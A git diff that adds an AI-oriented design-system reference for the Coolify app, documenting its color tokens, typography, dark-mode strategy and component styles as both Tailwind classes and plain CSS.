diff --git a/.ai/design-system.md b/.ai/design-system.md new file mode 100644 index 000000000..d22adf3c6 --- /dev/null +++ b/.ai/design-system.md @@ -0,0 +1,1666 @@ +# Coolify Design System + +> **Purpose**: AI/LLM-consumable reference for replicating Coolify's visual design in new applications. Contains design tokens, component styles, and interactive states — with both Tailwind CSS classes and plain CSS equivalents. + +--- + +## 1. Design Tokens + +### 1.1 Colors + +#### Brand / Accent + +| Token | Hex | Usage | +|---|---|---| +| `coollabs` | `#6b16ed` | Primary accent (light mode) | +| `coollabs-50` | `#f5f0ff` | Highlighted button bg (light) | +| `coollabs-100` | `#7317ff` | Highlighted button hover (dark) | +| `coollabs-200` | `#5a12c7` | Highlighted button text (light) | +| `coollabs-300` | `#4a0fa3` | Deepest brand shade | +| `warning` / `warning-400` | `#fcd452` | Primary accent (dark mode) | + +#### Warning Scale (used for dark-mode accent + callouts) + +| Token | Hex | +|---|---| +| `warning-50` | `#fefce8` | +| `warning-100` | `#fef9c3` | +| `warning-200` | `#fef08a` | +| `warning-300` | `#fde047` | +| `warning-400` | `#fcd452` | +| `warning-500` | `#facc15` | +| `warning-600` | `#ca8a04` | +| `warning-700` | `#a16207` | +| `warning-800` | `#854d0e` | +| `warning-900` | `#713f12` | + +#### Neutral Grays (dark mode backgrounds) + +| Token | Hex | Usage | +|---|---|---| +| `base` | `#101010` | Page background (dark) | +| `coolgray-100` | `#181818` | Component background (dark) | +| `coolgray-200` | `#202020` | Elevated surface / borders (dark) | +| `coolgray-300` | `#242424` | Input border shadow / hover (dark) | +| `coolgray-400` | `#282828` | Tooltip background (dark) | +| `coolgray-500` | `#323232` | Subtle hover overlays (dark) | + +#### Semantic + +| Token | Hex | Usage | +|---|---|---| +| `success` | `#22C55E` | Running status, success alerts | +| `error` | `#dc2626` | Stopped status, danger actions, error alerts | + +#### Light Mode Defaults + +| Element | Color | +|---|---| +| Page background | `gray-50` (`#f9fafb`) | +| Component background | `white` (`#ffffff`) | +| Borders | `neutral-200` (`#e5e5e5`) | +| Primary text | `black` (`#000000`) | +| Muted text | `neutral-500` (`#737373`) | +| Placeholder text | `neutral-300` (`#d4d4d4`) | + +### 1.2 Typography + +**Font family**: Inter, sans-serif (weights 100–900, woff2, `font-display: swap`) + +#### Heading Hierarchy + +> **CRITICAL**: All headings and titles (h1–h4, card titles, modal titles) MUST be `white` (`#fff`) in dark mode. The default body text color is `neutral-400` (`#a3a3a3`) — headings must override this to white or they will be nearly invisible on dark backgrounds. + +| Element | Tailwind | Plain CSS (light) | Plain CSS (dark) | +|---|---|---|---| +| `h1` | `text-3xl font-bold dark:text-white` | `font-size: 1.875rem; font-weight: 700; color: #000;` | `color: #fff;` | +| `h2` | `text-xl font-bold dark:text-white` | `font-size: 1.25rem; font-weight: 700; color: #000;` | `color: #fff;` | +| `h3` | `text-lg font-bold dark:text-white` | `font-size: 1.125rem; font-weight: 700; color: #000;` | `color: #fff;` | +| `h4` | `text-base font-bold dark:text-white` | `font-size: 1rem; font-weight: 700; color: #000;` | `color: #fff;` | + +#### Body Text + +| Context | Tailwind | Plain CSS | +|---|---|---| +| Body default | `text-sm antialiased` | `font-size: 0.875rem; line-height: 1.25rem; -webkit-font-smoothing: antialiased;` | +| Labels | `text-sm font-medium` | `font-size: 0.875rem; font-weight: 500;` | +| Badge/status text | `text-xs font-bold` | `font-size: 0.75rem; line-height: 1rem; font-weight: 700;` | +| Box description | `text-xs font-bold text-neutral-500` | `font-size: 0.75rem; font-weight: 700; color: #737373;` | + +### 1.3 Spacing Patterns + +| Context | Value | CSS | +|---|---|---| +| Component internal padding | `p-2` | `padding: 0.5rem;` | +| Callout padding | `p-4` | `padding: 1rem;` | +| Input vertical padding | `py-1.5` | `padding-top: 0.375rem; padding-bottom: 0.375rem;` | +| Button height | `h-8` | `height: 2rem;` | +| Button horizontal padding | `px-2` | `padding-left: 0.5rem; padding-right: 0.5rem;` | +| Button gap | `gap-2` | `gap: 0.5rem;` | +| Menu item padding | `px-2 py-1` | `padding: 0.25rem 0.5rem;` | +| Menu item gap | `gap-3` | `gap: 0.75rem;` | +| Section margin | `mb-12` | `margin-bottom: 3rem;` | +| Card min-height | `min-h-[4rem]` | `min-height: 4rem;` | + +### 1.4 Border Radius + +| Context | Tailwind | Plain CSS | +|---|---|---| +| Default (inputs, buttons, cards, modals) | `rounded-sm` | `border-radius: 0.125rem;` | +| Callouts | `rounded-lg` | `border-radius: 0.5rem;` | +| Badges | `rounded-full` | `border-radius: 9999px;` | +| Cards (coolbox variant) | `rounded` | `border-radius: 0.25rem;` | + +### 1.5 Shadows + +#### Input / Select Box-Shadow System + +Coolify uses **inset box-shadows instead of borders** for inputs and selects. This enables a unique "dirty indicator" — a colored left-edge bar. + +```css +/* Default state */ +box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #e5e5e5; + +/* Default state (dark) */ +box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #242424; + +/* Focus state (light) — purple left bar */ +box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5; + +/* Focus state (dark) — yellow left bar */ +box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424; + +/* Dirty (modified) state — same as focus */ +box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5; /* light */ +box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424; /* dark */ + +/* Disabled / Readonly */ +box-shadow: none; +``` + +#### Input-Sticky Variant (thinner border) + +```css +/* Uses 1px border instead of 2px */ +box-shadow: inset 4px 0 0 transparent, inset 0 0 0 1px #e5e5e5; +``` + +### 1.6 Focus Ring System + +All interactive elements (buttons, links, checkboxes) share this focus pattern: + +**Tailwind:** +``` +focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base +``` + +**Plain CSS:** +```css +:focus-visible { + outline: none; + box-shadow: 0 0 0 2px #101010, 0 0 0 4px #6b16ed; /* light */ +} + +/* dark mode */ +.dark :focus-visible { + box-shadow: 0 0 0 2px #101010, 0 0 0 4px #fcd452; +} +``` + +> **Note**: Inputs use the inset box-shadow system (section 1.5) instead of the ring system. + +--- + +## 2. Dark Mode Strategy + +- **Toggle method**: Class-based — `.dark` class on `` element +- **CSS variant**: `@custom-variant dark (&:where(.dark, .dark *));` +- **Default border override**: All elements default to `border-color: var(--color-coolgray-200)` (`#202020`) instead of `currentcolor` + +### Accent Color Swap + +| Context | Light | Dark | +|---|---|---| +| Primary accent | `coollabs` (`#6b16ed`) | `warning` (`#fcd452`) | +| Focus ring | `ring-coollabs` | `ring-warning` | +| Input focus bar | `#6b16ed` (purple) | `#fcd452` (yellow) | +| Active nav text | `text-black` | `text-warning` | +| Helper/highlight text | `text-coollabs` | `text-warning` | +| Loading spinner | `text-coollabs` | `text-warning` | +| Scrollbar thumb | `coollabs-100` | `coollabs-100` | + +### Background Hierarchy (dark) + +``` +#101010 (base) — page background + └─ #181818 (coolgray-100) — cards, inputs, components + └─ #202020 (coolgray-200) — elevated surfaces, borders, nav active + └─ #242424 (coolgray-300) — input borders (via box-shadow), button borders + └─ #282828 (coolgray-400) — tooltips, hover states + └─ #323232 (coolgray-500) — subtle overlays +``` + +### Background Hierarchy (light) + +``` +#f9fafb (gray-50) — page background + └─ #ffffff (white) — cards, inputs, components + └─ #e5e5e5 (neutral-200) — borders + └─ #f5f5f5 (neutral-100) — hover backgrounds + └─ #d4d4d4 (neutral-300) — deeper hover, nav active +``` + +--- + +## 3. Component Catalog + +### 3.1 Button + +#### Default + +**Tailwind:** +``` +flex gap-2 justify-center items-center px-2 h-8 text-sm text-black normal-case rounded-sm +border-2 outline-0 cursor-pointer font-medium bg-white border-neutral-200 hover:bg-neutral-100 +dark:bg-coolgray-100 dark:text-white dark:hover:text-white dark:hover:bg-coolgray-200 +dark:border-coolgray-300 hover:text-black disabled:cursor-not-allowed min-w-fit +dark:disabled:text-neutral-600 disabled:border-transparent disabled:hover:bg-transparent +disabled:bg-transparent disabled:text-neutral-300 +focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs +dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base +``` + +**Plain CSS:** +```css +.button { + display: flex; + gap: 0.5rem; + justify-content: center; + align-items: center; + padding: 0 0.5rem; + height: 2rem; + font-size: 0.875rem; + font-weight: 500; + text-transform: none; + color: #000; + background: #fff; + border: 2px solid #e5e5e5; + border-radius: 0.125rem; + outline: 0; + cursor: pointer; + min-width: fit-content; +} +.button:hover { background: #f5f5f5; } + +/* Dark */ +.dark .button { + background: #181818; + color: #fff; + border-color: #242424; +} +.dark .button:hover { + background: #202020; + color: #fff; +} + +/* Disabled */ +.button:disabled { + cursor: not-allowed; + border-color: transparent; + background: transparent; + color: #d4d4d4; +} +.dark .button:disabled { color: #525252; } +``` + +#### Highlighted (Primary Action) + +**Tailwind** (via `isHighlighted` attribute): +``` +text-coollabs-200 dark:text-white bg-coollabs-50 dark:bg-coollabs/20 +border-coollabs dark:border-coollabs-100 hover:bg-coollabs hover:text-white +dark:hover:bg-coollabs-100 dark:hover:text-white +``` + +**Plain CSS:** +```css +.button-highlighted { + color: #5a12c7; + background: #f5f0ff; + border-color: #6b16ed; +} +.button-highlighted:hover { + background: #6b16ed; + color: #fff; +} +.dark .button-highlighted { + color: #fff; + background: rgba(107, 22, 237, 0.2); + border-color: #7317ff; +} +.dark .button-highlighted:hover { + background: #7317ff; + color: #fff; +} +``` + +#### Error / Danger + +**Tailwind** (via `isError` attribute): +``` +text-red-800 dark:text-red-300 bg-red-50 dark:bg-red-900/30 +border-red-300 dark:border-red-800 hover:bg-red-300 hover:text-white +dark:hover:bg-red-800 dark:hover:text-white +``` + +**Plain CSS:** +```css +.button-error { + color: #991b1b; + background: #fef2f2; + border-color: #fca5a5; +} +.button-error:hover { + background: #fca5a5; + color: #fff; +} +.dark .button-error { + color: #fca5a5; + background: rgba(127, 29, 29, 0.3); + border-color: #991b1b; +} +.dark .button-error:hover { + background: #991b1b; + color: #fff; +} +``` + +#### Loading Indicator + +Buttons automatically show a spinner (SVG with `animate-spin`) next to their content during async operations. The spinner uses the accent color (`text-coollabs` / `text-warning`). + +--- + +### 3.2 Input + +**Tailwind:** +``` +block py-1.5 w-full text-sm text-black rounded-sm border-0 +dark:bg-coolgray-100 dark:text-white +disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 +dark:read-only:text-neutral-500 dark:read-only:bg-coolgray-100/40 +placeholder:text-neutral-300 dark:placeholder:text-neutral-700 +read-only:text-neutral-500 read-only:bg-neutral-200 +focus-visible:outline-none +``` + +**Plain CSS:** +```css +.input { + display: block; + padding: 0.375rem 0.5rem; + width: 100%; + font-size: 0.875rem; + color: #000; + background: #fff; + border: 0; + border-radius: 0.125rem; + box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #e5e5e5; +} +.input:focus-visible { + outline: none; + box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5; +} +.input::placeholder { color: #d4d4d4; } +.input:disabled { background: #e5e5e5; color: #737373; box-shadow: none; } +.input:read-only { color: #737373; background: #e5e5e5; box-shadow: none; } +.input[type="password"] { padding-right: 2.4rem; } + +/* Dark */ +.dark .input { + background: #181818; + color: #fff; + box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #242424; +} +.dark .input:focus-visible { + box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424; +} +.dark .input::placeholder { color: #404040; } +.dark .input:disabled { background: rgba(24, 24, 24, 0.4); box-shadow: none; } +.dark .input:read-only { color: #737373; background: rgba(24, 24, 24, 0.4); box-shadow: none; } +``` + +#### Dirty (Modified) State + +When an input value has been changed but not saved, a 4px colored left bar appears via box-shadow — same colors as focus state. This provides a visual indicator that the field has unsaved changes. + +--- + +### 3.3 Select + +Same base styles as Input, plus a custom dropdown arrow SVG: + +**Tailwind:** +``` +w-full block py-1.5 text-sm text-black rounded-sm border-0 +dark:bg-coolgray-100 dark:text-white +disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 +focus-visible:outline-none +``` + +**Additional plain CSS for the dropdown arrow:** +```css +.select { + /* ...same as .input base... */ + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='1.5' stroke='%23000000'%3e%3cpath stroke-linecap='round' stroke-linejoin='round' d='M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9'/%3e%3c/svg%3e"); + background-position: right 0.5rem center; + background-repeat: no-repeat; + background-size: 1rem 1rem; + padding-right: 2.5rem; + appearance: none; +} + +/* Dark mode: white stroke arrow */ +.dark .select { + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='1.5' stroke='%23ffffff'%3e%3cpath stroke-linecap='round' stroke-linejoin='round' d='M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9'/%3e%3c/svg%3e"); +} +``` + +--- + +### 3.4 Checkbox + +**Tailwind:** +``` +dark:border-neutral-700 text-coolgray-400 dark:bg-coolgray-100 rounded-sm cursor-pointer +dark:disabled:bg-base dark:disabled:cursor-not-allowed +focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs +dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base +``` + +**Container:** +``` +flex flex-row items-center gap-4 pr-2 py-1 form-control min-w-fit +dark:hover:bg-coolgray-100 cursor-pointer +``` + +**Plain CSS:** +```css +.checkbox { + border-color: #404040; + color: #282828; + background: #181818; + border-radius: 0.125rem; + cursor: pointer; +} +.checkbox:focus-visible { + outline: none; + box-shadow: 0 0 0 2px #101010, 0 0 0 4px #fcd452; +} + +.checkbox-container { + display: flex; + flex-direction: row; + align-items: center; + gap: 1rem; + padding: 0.25rem 0.5rem 0.25rem 0; + min-width: fit-content; + cursor: pointer; +} +.dark .checkbox-container:hover { background: #181818; } +``` + +--- + +### 3.5 Textarea + +Uses `font-mono` for monospace text. Supports tab key insertion (2 spaces). + +**Important**: Large/multiline textareas should NOT use the inset box-shadow left-border system from `.input`. Use a simple border instead: + +**Tailwind:** +``` +block w-full text-sm text-black rounded-sm border border-neutral-200 +dark:bg-coolgray-100 dark:text-white dark:border-coolgray-300 +font-mono focus-visible:outline-none focus-visible:ring-2 +focus-visible:ring-coollabs dark:focus-visible:ring-warning +focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base +``` + +**Plain CSS:** +```css +.textarea { + display: block; + width: 100%; + font-size: 0.875rem; + font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace; + color: #000; + background: #fff; + border: 1px solid #e5e5e5; + border-radius: 0.125rem; +} +.textarea:focus-visible { + outline: none; + box-shadow: 0 0 0 2px #fff, 0 0 0 4px #6b16ed; +} +.dark .textarea { + background: #181818; + color: #fff; + border-color: #242424; +} +.dark .textarea:focus-visible { + box-shadow: 0 0 0 2px #101010, 0 0 0 4px #fcd452; +} +``` + +> **Note**: The 4px inset left-border (dirty/focus indicator) is only for single-line inputs and selects, not textareas. + +--- + +### 3.6 Box / Card + +#### Standard Box + +**Tailwind:** +``` +relative flex lg:flex-row flex-col p-2 transition-colors cursor-pointer min-h-[4rem] +dark:bg-coolgray-100 shadow-sm bg-white border text-black dark:text-white hover:text-black +border-neutral-200 dark:border-coolgray-300 hover:bg-neutral-100 +dark:hover:bg-coollabs-100 dark:hover:text-white hover:no-underline rounded-sm +``` + +**Plain CSS:** +```css +.box { + position: relative; + display: flex; + flex-direction: column; + padding: 0.5rem; + min-height: 4rem; + background: #fff; + border: 1px solid #e5e5e5; + border-radius: 0.125rem; + box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05); + color: #000; + cursor: pointer; + transition: background-color 150ms, color 150ms; + text-decoration: none; +} +.box:hover { background: #f5f5f5; color: #000; } + +.dark .box { + background: #181818; + border-color: #242424; + color: #fff; +} +.dark .box:hover { + background: #7317ff; + color: #fff; +} + +/* IMPORTANT: child text must also turn white/black on hover, + since description text (#737373) is invisible on purple bg */ +.box:hover .box-title { color: #000; } +.box:hover .box-description { color: #000; } +.dark .box:hover .box-title { color: #fff; } +.dark .box:hover .box-description { color: #fff; } + +/* Desktop: row layout */ +@media (min-width: 1024px) { + .box { flex-direction: row; } +} +``` + +#### Coolbox (Ring Hover) + +**Tailwind:** +``` +relative flex transition-all duration-150 dark:bg-coolgray-100 bg-white p-2 rounded +border border-neutral-200 dark:border-coolgray-400 hover:ring-2 +dark:hover:ring-warning hover:ring-coollabs cursor-pointer min-h-[4rem] +``` + +**Plain CSS:** +```css +.coolbox { + position: relative; + display: flex; + padding: 0.5rem; + min-height: 4rem; + background: #fff; + border: 1px solid #e5e5e5; + border-radius: 0.25rem; + cursor: pointer; + transition: all 150ms; +} +.coolbox:hover { box-shadow: 0 0 0 2px #6b16ed; } + +.dark .coolbox { + background: #181818; + border-color: #282828; +} +.dark .coolbox:hover { box-shadow: 0 0 0 2px #fcd452; } +``` + +#### Box Text + +> **IMPORTANT — Dark mode titles**: Card/box titles MUST be `#fff` (white) in dark mode, not the default body text color (`#a3a3a3` / neutral-400). A black or grey title is nearly invisible on dark backgrounds (`#181818`). This applies to all heading-level text inside cards. + +```css +.box-title { + font-weight: 700; + color: #000; /* light mode: black */ +} +.dark .box-title { + color: #fff; /* dark mode: MUST be white, not grey */ +} + +.box-description { + font-size: 0.75rem; + font-weight: 700; + color: #737373; +} +/* On hover: description must become visible against colored bg */ +.box:hover .box-description { color: #000; } +.dark .box:hover .box-description { color: #fff; } +``` + +--- + +### 3.7 Badge / Status Indicator + +**Tailwind:** +``` +inline-block w-3 h-3 text-xs font-bold rounded-full leading-none +border border-neutral-200 dark:border-black +``` + +**Variants**: `badge-success` (`bg-success`), `badge-warning` (`bg-warning`), `badge-error` (`bg-error`) + +**Plain CSS:** +```css +.badge { + display: inline-block; + width: 0.75rem; + height: 0.75rem; + border-radius: 9999px; + border: 1px solid #e5e5e5; +} +.dark .badge { border-color: #000; } + +.badge-success { background: #22C55E; } +.badge-warning { background: #fcd452; } +.badge-error { background: #dc2626; } +``` + +#### Status Text Pattern + +Status indicators combine a badge dot with text: + +```html +
+
+
+ Running +
+
+``` + +| Status | Badge Class | Text Color | +|---|---|---| +| Running | `badge-success` | `text-success` (`#22C55E`) | +| Stopped | `badge-error` | `text-error` (`#dc2626`) | +| Degraded | `badge-warning` | `dark:text-warning` (`#fcd452`) | +| Restarting | `badge-warning` | `dark:text-warning` (`#fcd452`) | + +--- + +### 3.8 Dropdown + +**Container Tailwind:** +``` +p-1 mt-1 bg-white border rounded-sm shadow-sm +dark:bg-coolgray-200 dark:border-coolgray-300 border-neutral-300 +``` + +**Item Tailwind:** +``` +flex relative gap-2 justify-start items-center py-1 pr-4 pl-2 w-full text-xs +transition-colors cursor-pointer select-none dark:text-white +hover:bg-neutral-100 dark:hover:bg-coollabs +outline-none focus-visible:bg-neutral-100 dark:focus-visible:bg-coollabs +``` + +**Plain CSS:** +```css +.dropdown { + padding: 0.25rem; + margin-top: 0.25rem; + background: #fff; + border: 1px solid #d4d4d4; + border-radius: 0.125rem; + box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05); +} +.dark .dropdown { + background: #202020; + border-color: #242424; +} + +.dropdown-item { + display: flex; + position: relative; + gap: 0.5rem; + justify-content: flex-start; + align-items: center; + padding: 0.25rem 1rem 0.25rem 0.5rem; + width: 100%; + font-size: 0.75rem; + cursor: pointer; + user-select: none; + transition: background-color 150ms; +} +.dropdown-item:hover { background: #f5f5f5; } +.dark .dropdown-item { color: #fff; } +.dark .dropdown-item:hover { background: #6b16ed; } +``` + +--- + +### 3.9 Sidebar / Navigation + +#### Sidebar Container + Page Layout + +The navbar is a **fixed left sidebar** (14rem / 224px wide on desktop), with main content offset to the right. + +**Tailwind (sidebar wrapper — desktop):** +``` +hidden lg:fixed lg:inset-y-0 lg:z-50 lg:flex lg:w-56 lg:flex-col min-w-0 +``` + +**Tailwind (sidebar inner — scrollable):** +``` +flex flex-col overflow-y-auto grow gap-y-5 scrollbar min-w-0 +``` + +**Tailwind (nav element):** +``` +flex flex-col flex-1 px-2 bg-white border-r dark:border-coolgray-200 border-neutral-300 dark:bg-base +``` + +**Tailwind (main content area):** +``` +lg:pl-56 +``` + +**Tailwind (main content padding):** +``` +p-4 sm:px-6 lg:px-8 lg:py-6 +``` + +**Tailwind (mobile top bar — shown on small screens, hidden on lg+):** +``` +sticky top-0 z-40 flex items-center justify-between px-4 py-4 gap-x-6 sm:px-6 lg:hidden +bg-white/95 dark:bg-base/95 backdrop-blur-sm border-b border-neutral-300/50 dark:border-coolgray-200/50 +``` + +**Tailwind (mobile hamburger icon):** +``` +-m-2.5 p-2.5 dark:text-warning +``` + +**Plain CSS:** +```css +/* Sidebar — desktop only */ +.sidebar { + display: none; +} +@media (min-width: 1024px) { + .sidebar { + display: flex; + flex-direction: column; + position: fixed; + top: 0; + bottom: 0; + left: 0; + z-index: 50; + width: 14rem; /* 224px */ + min-width: 0; + } +} + +.sidebar-inner { + display: flex; + flex-direction: column; + flex-grow: 1; + overflow-y: auto; + gap: 1.25rem; + min-width: 0; +} + +/* Nav element */ +.sidebar-nav { + display: flex; + flex-direction: column; + flex: 1; + padding: 0 0.5rem; + background: #fff; + border-right: 1px solid #d4d4d4; +} +.dark .sidebar-nav { + background: #101010; + border-right-color: #202020; +} + +/* Main content offset */ +@media (min-width: 1024px) { + .main-content { padding-left: 14rem; } +} + +.main-content-inner { + padding: 1rem; +} +@media (min-width: 640px) { + .main-content-inner { padding: 1rem 1.5rem; } +} +@media (min-width: 1024px) { + .main-content-inner { padding: 1.5rem 2rem; } +} + +/* Mobile top bar — visible below lg breakpoint */ +.mobile-topbar { + position: sticky; + top: 0; + z-index: 40; + display: flex; + align-items: center; + justify-content: space-between; + padding: 1rem; + gap: 1.5rem; + background: rgba(255, 255, 255, 0.95); + backdrop-filter: blur(12px); + border-bottom: 1px solid rgba(212, 212, 212, 0.5); +} +.dark .mobile-topbar { + background: rgba(16, 16, 16, 0.95); + border-bottom-color: rgba(32, 32, 32, 0.5); +} +@media (min-width: 1024px) { + .mobile-topbar { display: none; } +} + +/* Mobile sidebar overlay (shown when hamburger is tapped) */ +.sidebar-mobile { + position: relative; + display: flex; + flex: 1; + width: 100%; + max-width: 14rem; + min-width: 0; +} +.sidebar-mobile-scroll { + display: flex; + flex-direction: column; + padding-bottom: 0.5rem; + overflow-y: auto; + min-width: 14rem; + gap: 1.25rem; + min-width: 0; +} +.dark .sidebar-mobile-scroll { background: #181818; } +``` + +#### Sidebar Header (Logo + Search) + +**Tailwind:** +``` +flex lg:pt-6 pt-4 pb-4 pl-2 +``` + +**Logo:** +``` +text-2xl font-bold tracking-wide dark:text-white hover:opacity-80 transition-opacity +``` + +**Search button:** +``` +flex items-center gap-1.5 px-2.5 py-1.5 +bg-neutral-100 dark:bg-coolgray-100 +border border-neutral-300 dark:border-coolgray-200 +rounded-md hover:bg-neutral-200 dark:hover:bg-coolgray-200 transition-colors +``` + +**Search kbd hint:** +``` +px-1 py-0.5 text-xs font-semibold +text-neutral-500 dark:text-neutral-400 +bg-neutral-200 dark:bg-coolgray-200 rounded +``` + +**Plain CSS:** +```css +.sidebar-header { + display: flex; + padding: 1rem 0 1rem 0.5rem; +} +@media (min-width: 1024px) { + .sidebar-header { padding-top: 1.5rem; } +} + +.sidebar-logo { + font-size: 1.5rem; + font-weight: 700; + letter-spacing: 0.025em; + color: #000; + text-decoration: none; +} +.dark .sidebar-logo { color: #fff; } +.sidebar-logo:hover { opacity: 0.8; } + +.sidebar-search-btn { + display: flex; + align-items: center; + gap: 0.375rem; + padding: 0.375rem 0.625rem; + background: #f5f5f5; + border: 1px solid #d4d4d4; + border-radius: 0.375rem; + cursor: pointer; + transition: background-color 150ms; +} +.sidebar-search-btn:hover { background: #e5e5e5; } +.dark .sidebar-search-btn { + background: #181818; + border-color: #202020; +} +.dark .sidebar-search-btn:hover { background: #202020; } + +.sidebar-search-kbd { + padding: 0.125rem 0.25rem; + font-size: 0.75rem; + font-weight: 600; + color: #737373; + background: #e5e5e5; + border-radius: 0.25rem; +} +.dark .sidebar-search-kbd { + color: #a3a3a3; + background: #202020; +} +``` + +#### Menu Item List + +**Tailwind (list container):** +``` +flex flex-col flex-1 gap-y-7 +``` + +**Tailwind (inner list):** +``` +flex flex-col h-full space-y-1.5 +``` + +**Plain CSS:** +```css +.menu-list { + display: flex; + flex-direction: column; + flex: 1; + gap: 1.75rem; + list-style: none; + padding: 0; + margin: 0; +} + +.menu-list-inner { + display: flex; + flex-direction: column; + height: 100%; + gap: 0.375rem; + list-style: none; + padding: 0; + margin: 0; +} +``` + +#### Menu Item + +**Tailwind:** +``` +flex gap-3 items-center px-2 py-1 w-full text-sm +dark:hover:bg-coolgray-100 dark:hover:text-white hover:bg-neutral-300 rounded-sm truncate min-w-0 +``` + +#### Menu Item Active + +**Tailwind:** +``` +text-black rounded-sm dark:bg-coolgray-200 dark:text-warning bg-neutral-200 overflow-hidden +``` + +#### Menu Item Icon / Label + +``` +/* Icon */ flex-shrink-0 w-6 h-6 dark:hover:text-white +/* Label */ min-w-0 flex-1 truncate +``` + +**Plain CSS:** +```css +.menu-item { + display: flex; + gap: 0.75rem; + align-items: center; + padding: 0.25rem 0.5rem; + width: 100%; + font-size: 0.875rem; + border-radius: 0.125rem; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} +.menu-item:hover { background: #d4d4d4; } +.dark .menu-item:hover { background: #181818; color: #fff; } + +.menu-item-active { + color: #000; + background: #e5e5e5; + border-radius: 0.125rem; +} +.dark .menu-item-active { + background: #202020; + color: #fcd452; +} + +.menu-item-icon { + flex-shrink: 0; + width: 1.5rem; + height: 1.5rem; +} + +.menu-item-label { + min-width: 0; + flex: 1; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} +``` + +#### Sub-Menu Item + +```css +.sub-menu-item { + /* Same as menu-item but with gap: 0.5rem and icon size 1rem */ + display: flex; + gap: 0.5rem; + align-items: center; + padding: 0.25rem 0.5rem; + width: 100%; + font-size: 0.875rem; + border-radius: 0.125rem; +} +.sub-menu-item-icon { flex-shrink: 0; width: 1rem; height: 1rem; } +``` + +--- + +### 3.10 Callout / Alert + +Four types: `warning`, `danger`, `info`, `success`. + +**Structure:** +```html +
+
+
+
Title
+
Content
+
+
+``` + +**Base Tailwind:** +``` +relative p-4 border rounded-lg +``` + +**Type Colors:** + +| Type | Background | Border | Title Text | Body Text | +|---|---|---|---|---| +| **warning** | `bg-warning-50 dark:bg-warning-900/30` | `border-warning-300 dark:border-warning-800` | `text-warning-800 dark:text-warning-300` | `text-warning-700 dark:text-warning-200` | +| **danger** | `bg-red-50 dark:bg-red-900/30` | `border-red-300 dark:border-red-800` | `text-red-800 dark:text-red-300` | `text-red-700 dark:text-red-200` | +| **info** | `bg-blue-50 dark:bg-blue-900/30` | `border-blue-300 dark:border-blue-800` | `text-blue-800 dark:text-blue-300` | `text-blue-700 dark:text-blue-200` | +| **success** | `bg-green-50 dark:bg-green-900/30` | `border-green-300 dark:border-green-800` | `text-green-800 dark:text-green-300` | `text-green-700 dark:text-green-200` | + +**Plain CSS (warning example):** +```css +.callout { + position: relative; + padding: 1rem; + border: 1px solid; + border-radius: 0.5rem; +} + +.callout-warning { + background: #fefce8; + border-color: #fde047; +} +.dark .callout-warning { + background: rgba(113, 63, 18, 0.3); + border-color: #854d0e; +} + +.callout-title { + font-size: 1rem; + font-weight: 700; +} +.callout-warning .callout-title { color: #854d0e; } +.dark .callout-warning .callout-title { color: #fde047; } + +.callout-text { + margin-top: 0.5rem; + font-size: 0.875rem; +} +.callout-warning .callout-text { color: #a16207; } +.dark .callout-warning .callout-text { color: #fef08a; } +``` + +**Icon colors per type:** +- Warning: `text-warning-600 dark:text-warning-400` (`#ca8a04` / `#fcd452`) +- Danger: `text-red-600 dark:text-red-400` (`#dc2626` / `#f87171`) +- Info: `text-blue-600 dark:text-blue-400` (`#2563eb` / `#60a5fa`) +- Success: `text-green-600 dark:text-green-400` (`#16a34a` / `#4ade80`) + +--- + +### 3.11 Toast / Notification + +**Container Tailwind:** +``` +relative flex flex-col items-start +shadow-[0_5px_15px_-3px_rgb(0_0_0_/_0.08)] +w-full transition-all duration-100 ease-out +dark:bg-coolgray-100 bg-white +dark:border dark:border-coolgray-200 +rounded-sm sm:max-w-xs +``` + +**Plain CSS:** +```css +.toast { + position: relative; + display: flex; + flex-direction: column; + align-items: flex-start; + width: 100%; + max-width: 20rem; + background: #fff; + border-radius: 0.125rem; + box-shadow: 0 5px 15px -3px rgba(0, 0, 0, 0.08); + transition: all 100ms ease-out; +} +.dark .toast { + background: #181818; + border: 1px solid #202020; +} +``` + +**Icon colors per toast type:** + +| Type | Color | Hex | +|---|---|---| +| Success | `text-green-500` | `#22c55e` | +| Info | `text-blue-500` | `#3b82f6` | +| Warning | `text-orange-400` | `#fb923c` | +| Danger | `text-red-500` | `#ef4444` | + +**Behavior**: Stacks up to 4 toasts, auto-dismisses after 4 seconds, positioned bottom-right. + +--- + +### 3.12 Modal + +**Tailwind (dialog-based):** +``` +rounded-sm modal-box max-h-[calc(100vh-5rem)] flex flex-col +``` + +**Modal Input variant container:** +``` +relative w-full lg:w-auto lg:min-w-2xl lg:max-w-4xl +border rounded-sm drop-shadow-sm +bg-white border-neutral-200 +dark:bg-base dark:border-coolgray-300 +flex flex-col +``` + 